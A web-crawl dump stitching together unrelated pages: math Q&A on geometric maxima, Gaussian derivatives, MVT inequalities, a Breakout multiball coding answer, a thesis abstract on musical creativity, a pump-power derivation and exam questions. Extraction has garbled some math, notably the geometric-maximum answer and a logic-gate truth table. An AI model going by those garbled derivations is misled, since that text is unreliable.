"config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-52/segments/1418802778013.38/warc/CC-MAIN-20141217075258-00170-ip-10-231-17-201.ec2.internal.warc.gz"} |
https://math.stackexchange.com/questions/3265964/tail-bound-on-the-maximum-of-i-i-d-geometric-random-variables | # Tail bound on the maximum of i.i.d. geometric random variables
Let $$X_1,\ldots,X_n\sim \mathit{Geo}(p)$$ be independent random variables, and let $$M=\max\{X_1,\ldots,X_n\}$$ denote their maximum.
Given a parameter $$\delta\in(0,1)$$, I'm looking for a bound $$T(n,p,\delta)$$ of the form $$\Pr[M > T(n,p,\delta)]\le \delta.$$
A simple solution can be derived using the union bound. If we demand $$(1-p)^T = \Pr [X_i> T] \le \delta/n,$$ we have $$T=\frac{\ln(\delta/n)}{\ln(1-p)}$$, and a union bound over all $$X_i$$'s show that this holds.
However, I think that this is a rather loose bound, and some simulations I did seem to agree.
• How can we get a tighter bound (ideally, a close-form bound that is possible to work with)?
$$M=\underset{1\le i\le n}{\max} X_i.$$ This means $$M iff $$\,\, X_i< T\,\,\forall \,\,i.$$ Hence $$\mathbb{P}(M
$$\text{You need }\left[1-(1-p)^T\right]^n=1-\delta$$ $$\iff 1-(1-\delta)^{1/n}=(1-p)^T\iff \,\,T=\dfrac{\log\left(1-(1-\delta)^{1/n}\right)}{\log(1-p)}.$$ | 2020-03-31 23:43:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 14, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9917823672294617, "perplexity": 272.3025943910723}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585370504930.16/warc/CC-MAIN-20200331212647-20200401002647-00038.warc.gz"} |
https://shelah.logic.at/papers/322b/ | # Sh:322b
• Shelah, S., & Usvyatsov, A. Classification over a predicate — the general case II. Preprint. | 2023-03-30 15:08:55 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9571217894554138, "perplexity": 8706.355369255336}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296949331.26/warc/CC-MAIN-20230330132508-20230330162508-00137.warc.gz"} |
http://openstudy.com/updates/4d935c9f41658b0b0950a262 | ## anonymous 5 years ago A "little" integral problem, see the url for details: http://1337.is/~gaulzi/tex2png/view.php?png=201103301610252648.png
DUMP IN THE PARAMERIZATION $\int\limits_{0}^{2\pi}$ then take derivitive of r1 wrt t variable. then thats your dx and dy and turn the x n y in the top eq into cos sin of (t) then dot that with the dx and dy and do a single LINE integrl from 0 to 2pi. thats the easiest way i can explain it. GREENS theorem | 2016-10-27 15:07:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9260114431381226, "perplexity": 1427.3199623016249}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-44/segments/1476988721347.98/warc/CC-MAIN-20161020183841-00558-ip-10-171-6-4.ec2.internal.warc.gz"} |
https://eddiema.ca/2011/10/ | # Ed's Big Plans
## Partial Derivatives for Residuals of the Gaussian Function
I needed to get the partial derivatives for the residuals of the Gaussian Function this week. This is needed for a curve fit I’ll use later. I completely forgot about Maxima, which can do this automatically — so I did it by hand (Maxima is like Maple, but it’s free). I’ve included my work in this post for future reference. If you want a quick refresh on calculus or a step-by-step for this particular function, enjoy :D. The math below is rendered with MathJax.
The Gaussian Function is given by …
$$f(x) = ae^{-\frac{(x-b)^2}{2c^2}}$$
• a, b, c are the curve parameters with respect to which we differentiate the residual function
• e is Euler’s number
Given a set of coordinates I’d like to fit (xi, yi), i ∈ [1, m], the residuals are given by …
$$r_i = y_i – ae^{-\frac{(x_i-b)^2}{2c^2}}$$
We want to get …
$$\frac{\partial{r}}{\partial{a}}, \frac{\partial{r}}{\partial{b}}, \frac{\partial{r}}{\partial{c}}$$
Eddie Ma
October 10th, 2011 at 11:40 am
Posted in Brain,Featured | 2018-12-16 10:47:34 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8753327131271362, "perplexity": 998.0495198184701}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-51/segments/1544376827639.67/warc/CC-MAIN-20181216095437-20181216121437-00615.warc.gz"} |
https://www.shaalaa.com/question-bank-solutions/what-will-be-values-input-b-boolean-expression-digital-electronics-logic-gates_50705 | # What will be the values of input A and B for the Boolean expression - Physics
What will be the values of input A and B for the Boolean expression overline ((A +B) .(A*B)) =1?
#### Solution
The truth table for the Boolean expression overline ((A +B) .(A*B)) = is:
A B (A+B) (A,B) (A+B).(A.B) overline ((A +B) .(A*B)) =1? 1 1 1 1 1 0 0 0 0 0 0 1 1 0 1 0 0 1 0 1 1 0 0 1
The output of this Boolean expression is 1 only when both the inputs A and B are 1.
The values of A should, therefore, be 1.
Concept: Digital Electronics and Logic Gates
Is there an error in this question or solution? | 2021-06-12 11:34:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3304394781589508, "perplexity": 523.3433045964888}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487582767.0/warc/CC-MAIN-20210612103920-20210612133920-00364.warc.gz"} |
https://iwaponline.com/view-large/2942696 | Skip to Main Content
Table 6
Electrical conductivity reduction as a function of HRT
HRT (hour)Conductivity in supernatant of aeration tank (μs/cm)Conductivity in permeate (μs/cm)Total reduction rate (%)
12 3,890 1,822 58,1
15 2,434 1,565 64,0
20 2,311 1,392 68
24 1,828 1,059 76
HRT (hour)Conductivity in supernatant of aeration tank (μs/cm)Conductivity in permeate (μs/cm)Total reduction rate (%)
12 3,890 1,822 58,1
15 2,434 1,565 64,0
20 2,311 1,392 68
24 1,828 1,059 76
Close Modal | 2022-11-28 07:18:29 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8773747682571411, "perplexity": 1362.1837177495104}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710488.2/warc/CC-MAIN-20221128070816-20221128100816-00798.warc.gz"} |
https://gamedev.stackexchange.com/questions/70882/how-do-i-implement-breakouts-multiball-powerup/70902 | # How do I implement Breakout's “multiball” powerup?
I'm just starting out and making a breakout clone as my first game. I'm implementing all kinds of powerups, but I'm stuck on multiball. The powerup adds additional bouncing balls to the game.
So far, I've implemented powerups by just adding them to the Ball class as states. This is easy for increasing speed, making the ball sticky, changing sprites and such. When the ball is in one state it behaves in only one way.
Now, how do multiple balls fit into this? I suppose having more balls is more of a function of the game itself than the Ball, so it seems logical to make it a game state instead of a ball state. How would I do this?
• Hey, welcome to GD:SE. Glad to have you on board. This could be very open ended as a question and we try to make questions as specific to a problem as possible so others can benefit when searching later. Have you actually tried anything yet? If you have edit the question to let us know, we might be able to help you more. – Tom 'Blue' Piddock Feb 24 '14 at 9:34
I think you are stuck on trying to implement utterly dissimilar powerups using a unified system. That seems like a mistake, and it might become obvious if you thought about the idea of multiple balls outside the context of a power-up: multiple balls are simply more instances of a Ball object.
Handling multiple balls in code would not require a "gamestate", and it would not conflict with or complicate your existing "ballstate" logic. There are just more objects in play.
The only difficulty in this method is that you might need to change your update and draw logic slightly. If you have built your code around a single, global Ball instance, a good first step would be refactoring to make that code operate on a method argument. For example:
/* the old
Ball globalBall;
void Update() {
globalBall.Move();
globalBall.Collide();
}
*/
// the new
List<Ball> allBalls;
// this old code is useful for a single ball; leave it mostly intact.
void UpdateBall(Ball ball) {
ball.Move();
ball.Collide();
}
// new code to deal with multiple Ball objects
void Update(){
foreach (ball in allBalls){
UpdateBall(ball);
}
}
The gist of it is, don't force your previous solution onto this new concept. Although sticky- and multi- might both be triggered by powerups, they are very different concepts. It's ok to create independent code paths to accomplish different game features. | 2020-02-19 23:21:32 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3461344838142395, "perplexity": 1263.5252228261947}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875144429.5/warc/CC-MAIN-20200219214816-20200220004816-00454.warc.gz"} |
https://math.stackexchange.com/questions/1580102/applying-the-mean-value-theorem-to-inequalities/1580128 | # applying the mean value theorem to inequalities
So I'm ask to prove using the mean value theorem that $\sin(x) \ge x-\frac{x^3}{6}$
I understand that the mean value theorem works because both sides of the equation equal zero when $x=0$.
To start I set $f(x)=\sin(x)$ and $g(x)=x-\frac{x^3}{6}$ and let $F(x)=f(x)-g(x)$ and try to show that $F'(x)>0$ for all $x>0$.
Therefore, we have $F(x)=\frac{F(x)-F(0)}{x-0}(x-0)$
By the mean value theorem, we know there exists a $y>0$ such that $F'(y)x=(\cos(x)-1+\frac{x^2}{2})x$
If we apply MVT again for some $z>0$, we get $F'(z)x=\frac{F'(y)-0}{x}x=(-\sin(x)+2x)x$
It seems pretty obvious that $F'(z)x>0$ but just for safe measure I'll apply it again: There exists a $c>0$ such that $F'(c)x=(-\cos(x)+2)x$
$\therefore$ since $x>0$ and $2-\cos(x)\le 1$ (by the bounds of cosine), $F'(c)>0$ for $c>0$
$\therefore F(x)>0\equiv f(x)>g(x)$ if $x>0$
I have my final tomorrow so any tips to make this more concrete would be appreciated
You have the right idea. Show in succession, using MVT, that for $x>0$, $x>\sin x$, $\cos x>1-x^2/2$, $\sin x> x-x^3/6$. | 2020-04-09 17:11:16 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9480147957801819, "perplexity": 64.56130534483198}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585371861991.79/warc/CC-MAIN-20200409154025-20200409184525-00058.warc.gz"} |
https://kar.kent.ac.uk/85998/ | # From the creative drive to the musical product : a psychoanalytic account of musical creativity
Dunn, Rosemary (2021) From the creative drive to the musical product : a psychoanalytic account of musical creativity. Doctor of Philosophy (PhD) thesis, University of Kent. (doi:10.22024/UniKent/01.02.85998) (KAR id:85998)
This thesis is the result of a life's work dedicated to re-introducing people of all ages to their inherent musicality which, more often than not, has been denied and invalidated by society's rigid adherence to the reified status of creativity'. The main premise sine qua non is that creativity is no more, and no less, than the re-realization of things that already exist, and that it is indeed the ubiquitous mode of Eros itself (libidinal energy). In explaining the means whereby the existents of music per se are imprinted in the minds of us all, and then why only certain people choose to manipulate these existents into musical compositions, we proceed from the universal experience of intra-uterine life. The importance to us all of sound impingement upon the fetus is explained, for it is revealed to be foundational to the genesis of the Self. However, as each one of us has different sound-experiences, the affective reactions to those experiences inform our unconscious attitudes towards music. These are revealed in our projections into the containing space of music'. Furthermore, it is posited that, in utero, not only are we initiated through sound-impingements into that which is dissonant to the Self (necessitating integration), but we also acquire three paradigmatic schemes of reference which thereafter inform all that we do. Our aesthetic sense is rooted here too, through tactility and even visibility. Choosing the mode d'emploi of musical composition is first dependent upon extrinsic environmental factors, but the imperative to compose arises intrinsically. The process though, is one available to us all, as we already possess the necessary mental function. This is explicated by Freud as the dream-work. The thesis culminates in a three-way synthesis predicated upon the dynamics of the transference and counter-transference, between the work that takes place in psychoanalysis, the tripartite teleology of a musical work from composer to performer and listener, and the musical structure known as sonata form. The first movement of Beethoven's third symphony, the Eroica is used as exemplar. ' Appendices are designed to accommodate information pertaining to both disciplines, while comments are to be understood as the opinions of no-one else but myself | 2023-03-24 10:14:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.380895733833313, "perplexity": 3388.7532834752938}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296945279.63/warc/CC-MAIN-20230324082226-20230324112226-00045.warc.gz"} |
https://su-plus.strathmore.edu/browse?type=subject&value=Homocyclic+%24p-%24groups | Now showing items 1-1 of 1
• #### Finite rings with homocyclic $p-$groups as Sylow $p$-subgroups of the group of units
(Strathmore University, 2017)
In 1960, Laszlo Fuchs posed, among other problems, the following: characterize the groups which are the groups of all units in a commutative and associative ring with identity. Though this problem still remains open, ... | 2022-05-26 14:39:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2067962884902954, "perplexity": 1266.4976282329756}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662606992.69/warc/CC-MAIN-20220526131456-20220526161456-00311.warc.gz"} |
http://pldml.icm.edu.pl/pldml/element/bwmeta1.element.bwnjournal-article-doi-10_4064-cm101-1-8 | Pełnotekstowe zasoby PLDML oraz innych baz dziedzinowych są już dostępne w nowej Bibliotece Nauki.
Zapraszamy na https://bibliotekanauki.pl
PL EN
Preferencje
Język
Widoczny [Schowaj] Abstrakt
Liczba wyników
• # Artykuł - szczegóły
## Colloquium Mathematicum
2004 | 101 | 1 | 121-134
## On iterates of strong Feller operators on ordered phase spaces
EN
### Abstrakty
EN
Let (X,d) be a metric space where all closed balls are compact, with a fixed σ-finite Borel measure μ. Assume further that X is endowed with a linear order ⪯. Given a Markov (regular) operator P: L¹(μ) → L¹(μ) we discuss the asymptotic behaviour of the iterates Pⁿ. The paper deals with operators P which are Feller and such that the μ-absolutely continuous parts of the transition probabilities ${P(x,·)}_{x∈X}$ are continuous with respect to x. Under some concentration assumptions on the asymptotic transition probabilities $P^{m}(y,·)$, which also satisfy inf(supp Pf₁) ⪯ inf(supp Pf₂) whenever inf(supp f₁) ⪯ inf(supp f₂), we prove that the iterates Pⁿ converge in the weak* operator topology.
121-134
wydano
2004
### Twórcy
autor
• Department of Mathematics, Gdańsk University of Technology, Narutowicza 11/12, 80-952 Gdańsk, Poland | 2022-07-03 10:42:05 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7065561413764954, "perplexity": 6431.1599275654335}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104240553.67/warc/CC-MAIN-20220703104037-20220703134037-00027.warc.gz"} |
https://www.physicsforums.com/threads/derivation-of-formula-for-pump-power.540193/ | Derivation of formula for pump power
1. boshank20
3
Hi
I was given the following formula for to calculate the power of a centrifugal pump:
P = ρ * g * Q * H
i.e. Power = Density * acceleration due to gravity * volumetric flow rate * total head
I have found websites that state this formula but I haven't been able to find anywhere that explains how the formula was derived. Could anyone point me in the right direction?
Thanks
2. W R-P
26
Well we've got a vertical outlet, moving the fluid upwards against gravity by a certain height, H(the head).
SO we can say the pump is doing work against gravity
ie [W][/pump]= Force x distance
= weight of fluid x head
= m g H
power is the rate of doing work so.. [P][/pump]= mgH/t = (m/t) x g x H
= (mass flow rate) x g x H
= (density of fluid x volumetric flow rate )x g x H
Hope this helps.
3. boshank20
3
Ah I didn't realise it came from playing around with mgh. Thanks for the help | 2015-10-04 11:25:09 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8559513092041016, "perplexity": 1434.576970512802}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-40/segments/1443736673439.5/warc/CC-MAIN-20151001215753-00250-ip-10-137-6-227.ec2.internal.warc.gz"} |
https://math.stackexchange.com/questions/2910038/normal-vector-from-transformation-matrix | # Normal vector from transformation matrix
as you are probably guessing by the title I'm not a math guy. The program I use for work has matrix which describes the position of a plane in 3d space. The center point of that card / plane can be easily read from the matrix. But the matrix also contains information regarding rotation (which I am guessing is in rad) and scale. I wondered if you could calculate the normal vector for the center point using this matrix data (maybe from the rotation?) to describe the plane.
The next question would be how to calculate the 3d positions of the 4 corner points of a square in this plane given a user set the distance from the center.
Thanks for taking the time explaining. picture of matrix here
• But it's a $4\times 4$ matrix.. – Berci Sep 8 '18 at 20:40
• You should clarify how this transformation represents the position of the object. Presumably, it’s a transformation from some standard position. Apply the matrix to the normal of the plane in this standard position. If this standard normal is a unit vector parallel to one of the coordinate axes, then the transformed normal will just be the corresponding column of your matrix. – amd Sep 8 '18 at 21:19 | 2019-10-22 09:20:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5227070450782776, "perplexity": 291.09171978977236}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987813307.73/warc/CC-MAIN-20191022081307-20191022104807-00015.warc.gz"} |
https://zbmath.org/?q=an%3A1119.62304 | # zbMATH — the first resource for mathematics
Random forests and adaptive nearest neighbors. (English) Zbl 1119.62304
Summary: We study random forests through their connection with a new framework of adaptive nearest-neighbor methods. We introduce a concept of potential nearest neighbors (k-PNNs) and show that random forests can be viewed as adaptively weighted $$k$$-PNN methods. Various aspects of random forests can be studied from this perspective. We study the effect of terminal node sizes on the prediction accuracy of random forests. We further show that random forests with adaptive splitting schemes assign weights to k-PNNs in a desirable way: for the estimation at a given target point, these random forests assign voting weights to the k-PNNs of the target point according to the local importance of different input variables. We propose a new simple splitting scheme that achieves desirable adaptivity in a straightforward fashion. This simple scheme can be combined with existing algorithms. The resulting algorithm is computationally faster and gives comparable results. Other possible aspects of random forests, such as using linear combinations in splitting, are also discussed. Simulations and real datasets are used to illustrate the results.
##### MSC:
62-XX Statistics 65C60 Computational problems in statistics (MSC2010)
Full Text: | 2021-04-17 17:27:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3735441565513611, "perplexity": 776.8511159862267}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038461619.53/warc/CC-MAIN-20210417162353-20210417192353-00521.warc.gz"} |
https://cracku.in/17-what-values-of-x-satisfy-x23-x13-2-lt-0-x-cat-2006?utm_source=blog&utm_medium=video&utm_campaign=video_solution | Question 17
# What values of x satisfy $$x^{2/3} + x^{1/3} - 2 <= 0$$?
Solution
Try to solve this type of questions using the options.
Subsitute 0 first => We ger -2 <=0, which is correct. Hence, 0 must be in the solution set.
Substitute 8 => 4 + 2 - 2 <=0 => 6 <= 0, which is false. Hence, 8 must not be in the solution set.
